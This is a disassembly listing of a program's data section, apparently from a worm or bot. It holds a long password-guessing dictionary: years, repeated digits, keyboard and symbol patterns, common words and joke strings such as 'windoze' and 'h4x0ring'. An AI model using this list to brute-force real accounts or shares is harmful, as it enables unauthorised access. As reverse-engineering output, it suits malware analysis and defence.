10h aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .data:0042C50Co align 4 aMaster_0 db 'MASTER',0 ; DATA XREF: .data:0042C508o align 4 aSony_0 db 'SONY',0 ; DATA XREF: .data:0042C504o align 4 aSamsung_0 db 'samsung',0 ; DATA XREF: .data:0042C500o aSamsung db 'SAMSUNG',0 ; DATA XREF: .data:0042C4FCo aSony db 'sony',0 ; DATA XREF: .data:0042C4F8o align 4 a7654321 db '7654321',0 ; DATA XREF: .data:0042C4F4o a4321 db '4321',0 ; DATA XREF: .data:0042C4E8o align 4 a321 db '321',0 ; DATA XREF: .data:0042C4E4o a2006 db '2006',0 ; DATA XREF: .data:0042C4DCo align 10h a2005 db '2005',0 ; DATA XREF: .data:0042C4D8o align 4 a2004 db '2004',0 ; DATA XREF: .data:0042C4D4o align 10h a2001 db '2001',0 ; DATA XREF: .data:0042C4C8o align 4 a2000 db '2000',0 ; DATA XREF: .data:0042C4C4o align 10h a1999 db '1999',0 ; DATA XREF: .data:0042C4C0o align 4 a1998 db '1998',0 ; DATA XREF: .data:0042C4BCo align 10h a1997 db '1997',0 ; DATA XREF: .data:0042C4B8o align 4 a1996 db '1996',0 ; DATA XREF: .data:0042C4B4o align 10h a1995 db '1995',0 ; DATA XREF: .data:0042C4B0o align 4 a1994 db '1994',0 ; DATA XREF: .data:0042C4ACo align 10h a1993 db '1993',0 ; DATA XREF: .data:0042C4A8o align 4 a1992 db '1992',0 ; DATA XREF: .data:0042C4A4o align 10h a1991 db '1991',0 ; DATA XREF: .data:0042C4A0o align 4 a1990 db '1990',0 ; DATA XREF: .data:0042C49Co align 10h a1989 db '1989',0 ; DATA XREF: .data:0042C498o align 4 a1988 db '1988',0 ; DATA XREF: .data:0042C494o align 10h a1987 db '1987',0 ; DATA XREF: .data:0042C490o align 4 a1986 db '1986',0 ; DATA XREF: .data:0042C48Co align 10h a1985 db '1985',0 ; DATA XREF: .data:0042C488o align 4 a1984 db '1984',0 ; DATA XREF: .data:0042C484o align 10h a1983 db '1983',0 ; DATA XREF: .data:0042C480o align 4 a1982 db '1982',0 ; DATA XREF: .data:0042C47Co align 10h a1981 db '1981',0 ; DATA XREF: .data:0042C478o align 4 a1980 db '1980',0 ; DATA XREF: .data:0042C474o align 10h a1979 db '1979',0 ; DATA XREF: .data:0042C470o align 4 a1978 db '1978',0 ; DATA XREF: .data:0042C46Co align 10h a1977 db '1977',0 ; DATA XREF: .data:0042C468o align 4 a1976 db '1976',0 ; DATA XREF: .data:0042C464o align 10h a1975 db '1975',0 ; DATA XREF: .data:0042C460o align 4 a1974 db '1974',0 ; DATA XREF: .data:0042C45Co align 10h a1973 db '1973',0 ; DATA XREF: .data:0042C458o align 4 a1972 db '1972',0 ; DATA XREF: .data:0042C454o align 10h a1971 db '1971',0 ; DATA XREF: .data:0042C450o align 4 a1970 db '1970',0 ; DATA XREF: .data:0042C44Co align 10h a1969 db '1969',0 ; DATA XREF: .data:0042C448o align 4 a1968 db '1968',0 ; DATA XREF: .data:0042C444o align 10h a1967 db '1967',0 ; DATA XREF: .data:0042C440o align 4 a1966 db '1966',0 ; DATA XREF: .data:0042C43Co align 10h a1965 db '1965',0 ; DATA XREF: .data:0042C438o align 4 a1964 db '1964',0 ; DATA XREF: .data:0042C434o align 10h a1963 db '1963',0 ; DATA XREF: .data:0042C430o align 4 a1962 db '1962',0 ; DATA XREF: .data:0042C42Co align 10h a1961 db '1961',0 ; DATA XREF: .data:0042C428o align 4 a1960 db '1960',0 ; DATA XREF: .data:0042C424o align 10h a1959 db '1959',0 ; DATA XREF: .data:0042C420o align 4 a1958 db '1958',0 ; DATA XREF: .data:0042C41Co align 10h a1957 db '1957',0 ; DATA XREF: .data:0042C418o align 4 a1956 db '1956',0 ; DATA XREF: .data:0042C414o align 10h a1955 db '1955',0 ; DATA XREF: .data:0042C410o align 4 a1954 db '1954',0 ; DATA XREF: .data:0042C40Co align 10h a1953 db '1953',0 ; DATA XREF: .data:0042C408o align 4 a1952 db '1952',0 ; DATA XREF: .data:0042C404o align 10h a1234qwe db '1234qwe',0 ; DATA XREF: .data:0042C400o a1234asd db '1234asd',0 ; DATA XREF: .data:0042C3FCo a1234abc db '1234abc',0 ; DATA XREF: .data:0042C3F8o a123qwer db '123qwer',0 ; DATA XREF: .data:0042C3E4o a12qwe db '12qwe',0 ; DATA XREF: .data:0042C3E0o align 4 a12asd db '12asd',0 ; DATA XREF: .data:0042C3DCo align 10h a12abc db '12abc',0 ; DATA XREF: .data:0042C3D8o align 4 a12qwer db '12qwer',0 ; DATA XREF: .data:0042C3D4o align 10h a1qwe db '1qwe',0 ; DATA XREF: .data:0042C3D0o align 4 a1asd db '1asd',0 ; DATA XREF: .data:0042C3CCo align 10h a1abc db '1abc',0 ; DATA XREF: .data:0042C3C8o align 4 a1qwer db '1qwer',0 ; DATA XREF: .data:0042C3C4o align 10h a123467890 db '123467890',0 ; DATA XREF: .data:0042C3C0o align 4 a12346789 db '12346789',0 ; DATA XREF: .data:0042C3BCo align 4 a1234678 db '1234678',0 ; DATA XREF: .data:0042C3B8o a123467 db '123467',0 ; DATA XREF: .data:0042C3B4o align 4 a12346 db '12346',0 ; DATA XREF: .data:0042C3B0o align 10h a121 db '121',0 ; DATA XREF: .data:0042C388o a1020 db '1020',0 ; DATA XREF: .data:0042C380o align 4 a0258 db '0258',0 ; DATA XREF: .data:0042C37Co align 4 a8520 db '8520',0 ; DATA XREF: .data:0042C378o align 4 a987 db '987',0 ; DATA XREF: .data:0042C374o a789_0 db '789',0 ; DATA XREF: .data:0042C370o a654 db '654',0 ; DATA XREF: .data:0042C36Co a456_0 db '456',0 ; DATA XREF: .data:0042C368o a1122 db '1122',0 ; DATA XREF: .data:0042C364o align 4 a0147 db '0147',0 ; DATA XREF: .data:0042C360o align 4 a7410 db '7410',0 ; DATA XREF: .data:0042C35Co align 4 a9999999999 db '9999999999',0 ; DATA XREF: .data:0042C354o align 10h a999999999 db '999999999',0 ; DATA XREF: .data:0042C350o align 4 a99999999 db '99999999',0 ; DATA XREF: .data:0042C34Co align 4 a9999999 db '9999999',0 ; DATA XREF: .data:0042C348o a999999 db '999999',0 ; DATA XREF: .data:0042C344o align 4 a99999 db '99999',0 ; DATA XREF: .data:0042C340o align 10h a9999 db '9999',0 ; DATA XREF: .data:0042C33Co align 4 a999 db '999',0 ; DATA XREF: .data:0042C338o a99 db '99',0 ; DATA XREF: .data:0042C334o align 10h a9: ; DATA XREF: .data:0042C330o unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: .data:0042C32Co align 10h a888888888 db '888888888',0 ; DATA XREF: .data:0042C328o align 4 a8888888 db '8888888',0 ; DATA XREF: .data:0042C320o a888888 db '888888',0 ; DATA XREF: .data:0042C31Co align 4 a88888 db '88888',0 ; DATA XREF: .data:0042C318o align 4 a8888 db '8888',0 ; DATA XREF: .data:0042C314o align 4 a888 db '888',0 ; DATA XREF: .data:0042C310o a88 db '88',0 ; DATA XREF: .data:0042C30Co align 4 a8: ; DATA XREF: .data:0042C308o unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: .data:0042C304o align 4 a777777777 db '777777777',0 ; DATA XREF: .data:0042C300o align 10h a77777777 db '77777777',0 ; DATA XREF: .data:0042C2FCo align 4 a7777777 db '7777777',0 ; DATA XREF: .data:0042C2F8o a777777 db '777777',0 ; DATA XREF: .data:0042C2F4o align 4 a77777 db '77777',0 ; DATA XREF: .data:0042C2F0o align 4 a7777 db '7777',0 ; DATA XREF: .data:0042C2ECo align 4 a777 db '777',0 ; DATA XREF: .data:0042C2E8o a77 db '77',0 ; DATA XREF: .data:0042C2E4o align 4 a7: ; DATA XREF: .data:0042C2E0o unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: .data:0042C2DCo align 4 a666666666 db '666666666',0 ; DATA XREF: .data:0042C2D8o align 10h a66666666 db '66666666',0 ; DATA XREF: .data:0042C2D4o align 4 a6666666 db '6666666',0 ; DATA XREF: .data:0042C2D0o a666666 db '666666',0 ; DATA XREF: .data:0042C2CCo align 4 a66666 db '66666',0 ; DATA XREF: .data:0042C2C8o align 4 a6666 db '6666',0 ; DATA XREF: .data:0042C2C4o align 4 a666 db '666',0 ; DATA XREF: .data:0042C2C0o a66 db '66',0 ; DATA XREF: .data:0042C2BCo align 4 a6: ; DATA XREF: .data:0042C2B8o unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: .data:0042C2B4o align 4 a555555555 db '555555555',0 ; DATA XREF: .data:0042C2B0o align 10h a55555555 db '55555555',0 ; DATA XREF: .data:0042C2ACo align 4 a5555555 db '5555555',0 ; DATA XREF: .data:0042C2A8o a555555 db '555555',0 ; DATA XREF: .data:0042C2A4o align 4 a55555 db '55555',0 ; DATA XREF: .data:0042C2A0o align 4 a5555 db '5555',0 ; DATA XREF: .data:0042C29Co align 4 a555 db '555',0 ; DATA XREF: .data:0042C298o a55 db '55',0 ; DATA XREF: .data:0042C294o align 4 a5: ; DATA XREF: .data:0042C290o unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: .data:0042C28Co align 4 a444444444 db '444444444',0 ; DATA XREF: .data:0042C288o align 10h a44444444 db '44444444',0 ; DATA XREF: .data:0042C284o align 4 a4444444 db '4444444',0 ; DATA XREF: .data:0042C280o a444444 db '444444',0 ; DATA XREF: .data:0042C27Co align 4 a44444 db '44444',0 ; DATA XREF: .data:0042C278o align 4 a4444 db '4444',0 ; DATA XREF: .data:0042C274o align 4 a444 db '444',0 ; DATA XREF: .data:0042C270o a44 db '44',0 ; DATA XREF: .data:0042C26Co align 4 a4: ; DATA XREF: .data:0042C268o unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: .data:0042C264o align 4 a333333333 db '333333333',0 ; DATA XREF: .data:0042C260o align 10h a33333333 db '33333333',0 ; DATA XREF: .data:0042C25Co align 4 a3333333 db '3333333',0 ; DATA XREF: .data:0042C258o a333333 db '333333',0 ; DATA XREF: .data:0042C254o align 4 a33333 db '33333',0 ; DATA XREF: .data:0042C250o align 4 a3333 db '3333',0 ; DATA XREF: .data:0042C24Co align 4 a333 db '333',0 ; DATA XREF: .data:0042C248o a33 db '33',0 ; DATA XREF: .data:0042C244o align 4 a3: ; DATA XREF: .data:0042C240o unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: .data:0042C23Co align 4 a222222222 db '222222222',0 ; DATA XREF: .data:0042C238o align 10h a22222222 db '22222222',0 ; DATA XREF: .data:0042C234o align 4 a2222222 db '2222222',0 ; DATA XREF: .data:0042C230o a222222 db '222222',0 ; DATA XREF: .data:0042C22Co align 4 a22222 db '22222',0 ; DATA XREF: .data:0042C228o align 4 a2222 db '2222',0 ; DATA XREF: .data:0042C224o align 4 a222 db '222',0 ; DATA XREF: .data:0042C220o a22 db '22',0 ; DATA XREF: .data:0042C21Co align 4 a2: ; DATA XREF: .data:0042C218o unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: .data:0042C214o align 4 a111111111 db '111111111',0 ; DATA XREF: .data:0042C210o align 10h a1111111 db '1111111',0 ; DATA XREF: .data:0042C208o a11111 db '11111',0 ; DATA XREF: .data:0042C200o align 10h a1111 db '1111',0 ; DATA XREF: .data:0042C1FCo align 4 a11 db '11',0 ; DATA XREF: .data:0042C1F4o align 4 a010 db '010',0 ; DATA XREF: .data:0042C1E4o a009 db '009',0 ; DATA XREF: .data:0042C1E0o a008 db '008',0 ; DATA XREF: .data:0042C1DCo a006 db '006',0 ; DATA XREF: .data:0042C1D4o a005 db '005',0 ; DATA XREF: sub_40CC09+215o ; .data:0042C1D0o a004 db '004',0 ; DATA XREF: .data:0042C1CCo a003 db '003',0 ; DATA XREF: .data:0042C1C8o a002 db '002',0 ; DATA XREF: .data:0042C1C4o a001 db '001',0 ; DATA XREF: sub_40CC09+200o ; .data:0042C1C0o asc_42D470 db '*********',0 ; DATA XREF: .data:0042C1BCo align 4 asc_42D47C db '********',0 ; DATA XREF: .data:0042C1B8o align 4 asc_42D488 db '*******',0 ; DATA XREF: .data:0042C1B4o asc_42D490 db '******',0 ; DATA XREF: .data:0042C1B0o align 4 asc_42D498 db '*****',0 ; DATA XREF: .data:0042C1ACo align 10h asc_42D4A0 db '****',0 ; DATA XREF: .data:0042C1A8o align 4 asc_42D4A8 db '***',0 ; DATA XREF: .data:0042C1A4o asc_42D4AC db '**',0 ; DATA XREF: .data:0042C1A0o align 10h a0000000000 db '0000000000',0 ; DATA XREF: .data:0042C198o align 4 a000000000 db '000000000',0 ; DATA XREF: .data:0042C194o align 4 a@_8 db '@!',0 ; DATA XREF: .data:0042C174o align 4 a@_9 db '#@!',0 ; DATA XREF: .data:0042C170o a@_7 db '$#@!',0 ; DATA XREF: .data:0042C16Co align 4 a@_6 db '%$#@!',0 ; DATA XREF: .data:0042C168o align 10h a@_5 db '^%$#@!',0 ; DATA XREF: .data:0042C164o align 4 a@_4 db '&^%$#@!',0 ; DATA XREF: .data:0042C160o a@_3 db '*&^%$#@!',0 ; DATA XREF: .data:0042C15Co align 4 asc_42D4FC db '$$$',0 ; DATA XREF: .data:0042C158o asc_42D500 db '$$',0 ; DATA XREF: .data:0042C154o align 4 asc_42D504: ; DATA XREF: .data:0042C150o unicode 0, <$>,0 a456 db '456+',0 ; DATA XREF: .data:0042C14Co align 10h a789 db '789+',0 ; DATA XREF: .data:0042C148o align 4 a0 db '=-0',0 ; DATA XREF: .data:0042C144o asc_42D51C db '--++',0 ; DATA XREF: .data:0042C140o align 4 asc_42D524 db '-+',0 ; DATA XREF: .data:0042C13Co align 4 asc_42D528 db '----',0 ; DATA XREF: .data:0042C138o align 10h asc_42D530 db '--',0 ; DATA XREF: .data:0042C130o ; .data:0042C134o align 4 asc_42D534: ; DATA XREF: .data:0042C12Co unicode 0, <->,0 asc_42D538 db '++++',0 ; DATA XREF: .data:0042C128o align 10h asc_42D540 db '+++',0 ; DATA XREF: .data:0042C124o asc_42D544 db '++',0 ; DATA XREF: .data:0042C120o align 4 asc_42D548: ; DATA XREF: .data:0042C11Co unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: .data:0042C118o align 10h a@_10: ; DATA XREF: sub_40CC09+23Ao ; .data:0042C114o unicode 0, <@>,0 off_42D554 dd offset loc_40211E+3 ; DATA XREF: .data:0042C110o dword_42D558 dd 2121h a@_2 db '!@#$%^&*',0 ; DATA XREF: .data:0042C104o align 4 a@_1 db '!@#$%^&',0 ; DATA XREF: .data:0042C100o a@_0 db '!@#$%^',0 ; DATA XREF: .data:0042C0FCo align 4 a@ db '!@#$%',0 ; DATA XREF: .data:0042C0F8o align 10h a@_11 db '!@#',0 ; DATA XREF: .data:0042C0F4o a@_12 db '!@',0 ; DATA XREF: .data:0042C0F0o align 4 asc_42D588: ; DATA XREF: sub_40CC09+19Ao ; sub_40CC09+5598o ... unicode 0, <!>,0 asc_42D58C: ; DATA XREF: .data:0042C0E8o unicode 0, <%>,0 aZimmerman db 'zimmerman',0 ; DATA XREF: .data:0042C0E4o align 4 off_42D59C dd offset word_70617A ; DATA XREF: .data:0042C0E0o aYellowstone db 'yellowstone',0 ; DATA XREF: .data:0042C0DCo aXyz db 'xyz',0 ; DATA XREF: .data:0042C0D8o ; .data:0042C5D0o aWisconsin db 'wisconsin',0 ; DATA XREF: .data:0042C0D4o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: .data:0042C0D0o align 4 aWholesale db 'wholesale',0 ; DATA XREF: .data:0042C0CCo align 4 aTty db 'tty',0 ; DATA XREF: .data:0042C0C8o aTopography db 'topography',0 ; DATA XREF: .data:0042C0C4o align 4 aTemptation db 'temptation',0 ; DATA XREF: .data:0042C0C0o align 4 aTelephone db 'telephone',0 ; DATA XREF: .data:0042C0BCo align 10h aTangerine db 'tangerine',0 ; DATA XREF: .data:0042C0B8o align 4 off_42D60C dd offset byte_737973 ; DATA XREF: .data:0042C0B4o aSupported db 'supported',0 ; DATA XREF: .data:0042C0B0o align 4 aSuperuser db 'superuser',0 ; DATA XREF: .data:0042C0ACo align 4 aSuperstage db 'superstage',0 ; DATA XREF: .data:0042C0A8o align 4 off_42D634 dd offset byte_6E7573 ; DATA XREF: .data:0042C0A4o aStuttgart db 'stuttgart',0 ; DATA XREF: .data:0042C0A0o align 4 aStratford db 'stratford',0 ; DATA XREF: .data:0042C09Co align 10h aStephanie db 'stephanie',0 ; DATA XREF: .data:0042C098o align 4 aSignature db 'signature',0 ; DATA XREF: .data:0042C094o align 4 aSheffield db 'sheffield',0 ; DATA XREF: .data:0042C090o align 4 off_42D674 dd offset byte_6C6173 ; DATA XREF: .data:0042C08Co aRochester db 'rochester',0 ; DATA XREF: .data:0042C088o align 4 off_42D684 dd offset word_656A72 ; DATA XREF: .data:0042C084o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .data:0042C080o align 4 off_42D698 dd offset byte_627570 ; DATA XREF: .data:0042C07Co aProfessor db 'professor',0 ; DATA XREF: .data:0042C078o align 4 aPrinceton db 'princeton',0 ; DATA XREF: .data:0042C074o align 4 aPondering db 'pondering',0 ; DATA XREF: .data:0042C070o align 10h aPolynomial db 'polynomial',0 ; DATA XREF: .data:0042C06Co align 4 aPersimmon db 'persimmon',0 ; DATA XREF: .data:0042C068o align 4 aPercolate db 'percolate',0 ; DATA XREF: .data:0042C064o align 4 off_42D6E4 dd offset dword_6D6170 ; DATA XREF: .data:0042C060o off_42D6E8 dd offset dword_646170 ; DATA XREF: .data:0042C05Co aOceanography db 'oceanography',0 ; DATA XREF: .data:0042C058o align 4 aNutrition db 'nutrition',0 ; DATA XREF: .data:0042C054o align 4 off_42D708 dd offset word_77656E ; DATA XREF: .data:0042C050o off_42D70C dd offset sub_74656E ; DATA XREF: .data:0042C04Co off_42D710 dd offset loc_746969+4 ; DATA XREF: .data:0042C048o off_42D714 dd offset byte_72676D ; DATA XREF: .data:0042C044o aMacintosh db 'macintosh',0 ; DATA XREF: .data:0042C040o align 4 aLiz db 'liz',0 ; DATA XREF: .data:0042C03Co off_42D728 dd offset dword_65656C ; DATA XREF: .data:0042C038o aLamination db 'lamination',0 ; DATA XREF: .data:0042C034o align 4 off_42D738 dd offset byte_6D696B ; DATA XREF: .data:0042C030o dword_42D73C dd 79656Bh dword_42D740 dd 796F6Ah off_42D744 dd offset word_6E656A ; DATA XREF: .data:0042C024o aInnocuous db 'innocuous',0 ; DATA XREF: .data:0042C020o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: .data:0042C01Co align 10h off_42D760 dd offset byte_6D6269 ; DATA XREF: .data:0042C018o aHappening db 'happening',0 ; DATA XREF: .data:0042C014o align 10h off_42D770 dd offset dword_6C6168 ; DATA XREF: .data:0042C010o off_42D774 dd offset loc_756E63+4 ; DATA XREF: .data:0042C00Co off_42D778 dd offset word_6E7566 ; DATA XREF: .data:0042C008o aForesight db 'foresight',0 ; DATA XREF: .data:0042C004o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: .data:0042C000o align 4 aExtension db 'extension',0 ; DATA XREF: .data:0042BFFCo align 10h aEstablish db 'establish',0 ; DATA XREF: .data:0042BFF8o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: .data:0042BFF4o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: .data:0042BFF0o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: .data:0042BFECo align 10h aEdinburgh db 'edinburgh',0 ; DATA XREF: .data:0042BFE8o align 4 off_42D7DC dd offset dword_736F64 ; DATA XREF: .data:0042BFE4o off_42D7E0 dd offset dword_676F64 ; DATA XREF: .data:0042BFE0o aDiscovery db 'discovery',0 ; DATA XREF: .data:0042BFDCo align 10h aDesperate db 'desperate',0 ; DATA XREF: .data:0042BFD8o align 4 off_42D7FC dd offset dword_626564 ; DATA XREF: .data:0042BFD4o aCornelius db 'cornelius',0 ; DATA XREF: .data:0042BFD0o align 4 aCommrades db 'commrades',0 ; DATA XREF: .data:0042BFCCo align 4 aChristine db 'christine',0 ; DATA XREF: .data:0042BFC8o align 4 aChristina db 'christina',0 ; DATA XREF: .data:0042BFC4o align 10h aChemistry db 'chemistry',0 ; DATA XREF: .data:0042BFC0o align 4 aCatherine db 'catherine',0 ; DATA XREF: .data:0042BFBCo align 4 off_42D848 dd offset sub_746163 ; DATA XREF: .data:0042BFB8o aCampanile db 'campanile',0 ; DATA XREF: .data:0042BFB4o align 4 off_42D858 dd offset byte_646163 ; DATA XREF: .data:0042BFB0o off_42D85C dd offset word_647362 ; DATA XREF: .data:0042BFACo off_42D860 dd offset word_626F62 ; DATA XREF: .data:0042BFA8o aBicameral db 'bicameral',0 ; DATA XREF: .data:0042BFA4o align 10h aBeethoven db 'beethoven',0 ; DATA XREF: .data:0042BFA0o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: .data:0042BF9Co align 4 off_42D888 dd offset byte_6D7361 ; DATA XREF: .data:0042BF98o off_42D88C dd offset byte_647361 ; DATA XREF: .data:0042BF94o ; .data:0042C600o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .data:0042BF90o align 10h off_42D8A0 dd offset byte_6E6E61 ; DATA XREF: .data:0042BF8Co aAndromache db 'andromache',0 ; DATA XREF: .data:0042BF88o align 10h aAmy db 'amy',0 ; DATA XREF: .data:0042BF84o aAmorphous db 'amorphous',0 ; DATA XREF: .data:0042BF80o align 10h off_42D8C0 dd offset byte_616D61 ; DATA XREF: .data:0042BF7Co off_42D8C4 dd offset byte_666C61 ; DATA XREF: .data:0042BF78o aAlbatross db 'albatross',0 ; DATA XREF: .data:0042BF74o align 4 off_42D8D4 dd offset byte_616461 ; DATA XREF: .data:0042BF70o aH4x0ring db 'h4x0ring',0 ; DATA XREF: .data:0042BF6Co align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .data:0042BF68o align 10h aH4x1ng db 'h4x1ng',0 ; DATA XREF: .data:0042BF64o align 4 aHaxing db 'haxing',0 ; DATA XREF: .data:0042BF60o align 10h aHax db 'hax',0 ; DATA XREF: .data:0042BF5Co aWh0re db 'wh0re',0 ; DATA XREF: .data:0042BF58o align 4 aHo db 'ho',0 ; DATA XREF: .data:0042BF54o align 10h aWh0r3 db 'wh0r3',0 ; DATA XREF: .data:0042BF50o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: .data:0042BF4Co align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .data:0042BF48o align 10h aWindozeme db 'windozeME',0 ; DATA XREF: .data:0042BF44o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: .data:0042BF40o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: .data:0042BF3Co align 4 aWindows95 db 'windows95',0 ; DATA XREF: .data:0042BF38o align 10h aWindows98 db 'windows98',0 ; DATA XREF: .data:0042BF34o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .data:0042BF30o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: .data:0042BF2Co align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: .data:0042BF28o align 10h aMs db 'MS',0 ; DATA XREF: .data:0042BF24o align 4 aM db 'M$',0 ; DATA XREF: .data:0042BF20o align 4 aBilly db 'billy',0 ; DATA XREF: .data:0042BF1Co align 10h aWindose db 'windose',0 ; DATA XREF: .data:0042BF18o aWindoze db 'windoze',0 ; DATA XREF: .data:0042BF14o aWindowz db 'windowz',0 ; DATA XREF: .data:0042BF10o aWileecoyote db 'wileecoyote',0 ; DATA XREF: .data:0042BF0Co aDonaldduck db 'donaldduck',0 ; DATA XREF: .data:0042BF08o align 10h aAlexander db 'Alexander',0 ; DATA XREF: .data:0042BF04o align 4 aAl3x db 'Al3x',0 ; DATA XREF: .data:0042BF00o align 4 aDud3 db 'dud3',0 ; DATA XREF: .data:0042BEFCo align 4 aDudette db 'dudette',0 ; DATA XREF: .data:0042BEF8o aD00d db 'd00d',0 ; DATA XREF: .data:0042BEF4o align 4 off_42D9FC dd offset dword_6C6F6C ; DATA XREF: .data:0042BEF0o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .data:0042BEECo align 10h aRoscop db 'RoscoP',0 ; DATA XREF: .data:0042BEE8o align 4 aRosco db 'Rosco',0 ; DATA XREF: .data:0042BEE4o align 10h aRoss db 'Ross',0 ; DATA XREF: .data:0042BEE0o align 4 aTestin db 'testin',0 ; DATA XREF: .data:0042BEDCo align 10h aTester db 'tester',0 ; DATA XREF: .data:0042BED8o align 4 a00000000 db '00000000',0 ; DATA XREF: .data:0042BED4o ; .data:0042C190o align 4 aZulu db 'zulu',0 ; DATA XREF: .data:0042BED0o align 4 aZombie db 'zombie',0 ; DATA XREF: .data:0042BECCo align 4 aZmodem db 'zmodem',0 ; DATA XREF: .data:0042BEC8o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .data:0042BEC4o align 4 aZiggy db 'ziggy',0 ; DATA XREF: .data:0042BEC0o align 10h aZeitgeis db 'zeitgeis',0 ; DATA XREF: .data:0042BEBCo align 4 aZebra db 'zebra',0 ; DATA XREF: .data:0042BEB8o align 4 aYoung db 'young',0 ; DATA XREF: .data:0042BEB4o align 4 aYosemite db 'yosemite',0 ; DATA XREF: .data:0042BEB0o align 4 aYolanda db 'yolanda',0 ; DATA XREF: .data:0042BEACo aYellowst db 'yellowst',0 ; DATA XREF: .data:0042BEA8o align 4 aYellow db 'yellow',0 ; DATA XREF: .data:0042BEA4o align 4 aYankee db 'yankee',0 ; DATA XREF: .data:0042BEA0o align 4 aYang db 'yang',0 ; DATA XREF: .data:0042BE9Co ; .data:0042C5D8o align 4 aYaco db 'yaco',0 ; DATA XREF: .data:0042BE98o ; .data:0042C5D4o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .data:0042BE94o align 4 aXray db 'xray',0 ; DATA XREF: .data:0042BE90o align 4 aXmodem db 'xmodem',0 ; DATA XREF: .data:0042BE8Co align 4 aXmen db 'xmen',0 ; DATA XREF: .data:0042BE88o align 4 aXman db 'xman',0 ; DATA XREF: .data:0042BE84o align 4 aXfer db 'xfer',0 ; DATA XREF: .data:0042BE80o align 4 aXena db 'xena',0 ; DATA XREF: .data:0042BE7Co align 4 aWyoming db 'wyoming',0 ; DATA XREF: .data:0042BE78o aWwii db 'wwii',0 ; DATA XREF: .data:0042BE74o align 4 aWormwood db 'wormwood',0 ; DATA XREF: .data:0042BE70o align 10h aWorm db 'worm',0 ; DATA XREF: .data:0042BE6Co align 4 aWork db 'work',0 ; DATA XREF: .data:0042BE68o align 10h aWorf db 'worf',0 ; DATA XREF: .data:0042BE64o align 4 aWordperf db 'wordperf',0 ; DATA XREF: .data:0042BE60o align 4 aWord db 'word',0 ; DATA XREF: .data:0042BE5Co align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .data:0042BE58o align 4 aWood db 'wood',0 ; DATA XREF: .data:0042BE54o align 10h aWomen db 'women',0 ; DATA XREF: .data:0042BE50o align 4 aWombat db 'wombat',0 ; DATA XREF: .data:0042BE4Co align 10h aWoman db 'woman',0 ; DATA XREF: .data:0042BE48o align 4 aWolverin db 'wolverin',0 ; DATA XREF: .data:0042BE44o align 4 aWolf db 'wolf',0 ; DATA XREF: .data:0042BE40o align 4 aWizard db 'wizard',0 ; DATA XREF: .data:0042BE3Co align 4 aWithin db 'within',0 ; DATA XREF: .data:0042BE38o align 4 aWiseass db 'wiseass',0 ; DATA XREF: .data:0042BE34o aWisconsi db 'wisconsi',0 ; DATA XREF: .data:0042BE30o align 10h aWired db 'wired',0 ; DATA XREF: .data:0042BE2Co align 4 aWinston db 'winston',0 ; DATA XREF: .data:0042BE28o aWing db 'wing',0 ; DATA XREF: .data:0042BE24o align 4 aWine db 'wine',0 ; DATA XREF: .data:0042BE20o align 10h aWindows db 'windows',0 ; DATA XREF: .data:0042BE1Co aWilma db 'wilma',0 ; DATA XREF: .data:0042BE18o align 10h aWillie db 'willie',0 ; DATA XREF: .data:0042BE14o align 4 aWilliams db 'williams',0 ; DATA XREF: .data:0042BE10o align 4 aWilliam db 'william',0 ; DATA XREF: .data:0042BE0Co aWill db 'will',0 ; DATA XREF: .data:0042BE08o align 4 aWhore db 'whore',0 ; DATA XREF: .data:0042BE04o align 4 aWholesal db 'wholesal',0 ; DATA XREF: .data:0042BE00o align 4 aWhitney db 'whitney',0 ; DATA XREF: .data:0042BDFCo aWhiting db 'whiting',0 ; DATA XREF: .data:0042BDF8o aWhite db 'white',0 ; DATA XREF: .data:0042BDF4o align 10h aWhisky db 'whisky',0 ; DATA XREF: .data:0042BDF0o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: .data:0042BDECo aWhatever db 'whatever',0 ; DATA XREF: .data:0042BDE8o align 4 aWestern db 'western',0 ; DATA XREF: .data:0042BDE4o aWest db 'west',0 ; DATA XREF: .data:0042BDE0o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .data:0042BDDCo align 4 aWendy db 'wendy',0 ; DATA XREF: .data:0042BDD8o align 10h aWendi db 'wendi',0 ; DATA XREF: .data:0042BDD4o align 4 aWell db 'well',0 ; DATA XREF: .data:0042BDD0o align 10h aWeenie db 'weenie',0 ; DATA XREF: .data:0042BDCCo align 4 aWeed db 'weed',0 ; DATA XREF: .data:0042BDC8o align 10h aWednesda db 'wednesda',0 ; DATA XREF: .data:0042BDC4o align 4 aWebpage db 'webpage',0 ; DATA XREF: .data:0042BDC0o aWave db 'wave',0 ; DATA XREF: .data:0042BDBCo align 4 aWater db 'water',0 ; DATA XREF: .data:0042BDB8o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: .data:0042BDB4o align 10h aWasp db 'wasp',0 ; DATA XREF: .data:0042BDB0o align 4 aWarren db 